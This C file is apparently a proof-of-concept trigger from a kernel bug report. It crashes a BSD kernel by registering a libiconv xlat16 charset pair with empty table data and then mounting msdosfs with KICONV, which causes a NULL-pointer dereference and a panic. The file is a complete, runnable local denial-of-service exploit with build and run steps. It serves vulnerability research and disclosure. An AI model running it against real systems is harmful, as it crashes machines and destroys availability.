DF-5746 / trigger_null.c
/* DF-5746 trigger A — NULL-pointer dereference in iconv_xlat16_open() * * sys/libiconv/iconv.c:410 only rejects ia_datalen > ICONV_CSMAXDATALEN; * ia_datalen == 0 is accepted and leaves csp->cp_data == NULL * (iconv_register_cspair passed data==NULL, iconv.c:426 skips the kmalloc). * When msdosfs is mounted with KICONV and this charset pair, * update_mp() -> iconv_open() -> iconv_xlat16_open() dereferences * idxp = csp->cp_data == NULL at sys/libiconv/iconv_xlat16.c:71 * ("if (*idxp)") -> kernel page fault (read of VA 0) -> panic. * * Build: cc -O0 -g -I/usr/src/sys -o trigger_null trigger_null.c * Run: ./trigger_null /dev/vn0 /mnt (as root, msdosfs_iconv loaded) */ #include "common_kiconv.h" int main(int argc, char **argv) { const char *dev, *dir; if (argc != 3) { fprintf(stderr, "usage: %s <dev> <mountpoint>\n", argv[0]); return (2); } dev = argv[1]; dir = argv[2]; /* Malicious pair: converter xlat16, ZERO bytes of table data. */ if (reg_pair("xlat16", "PWNX2", "UTF-16BE", NULL, 0) < 0) errx(1, "registration failed"); printf("[*] mounting with KICONV cs_local=PWNX2 -> " "iconv_xlat16_open() on cp_data==NULL ...\n"); fflush(stdout); if (mount_kiconv(dev, dir, "PWNX2", "PWND2") < 0) errx(1, "mount returned (no panic?)"); printf("[?] mount unexpectedly succeeded; check dmesg\n"); return (0); } |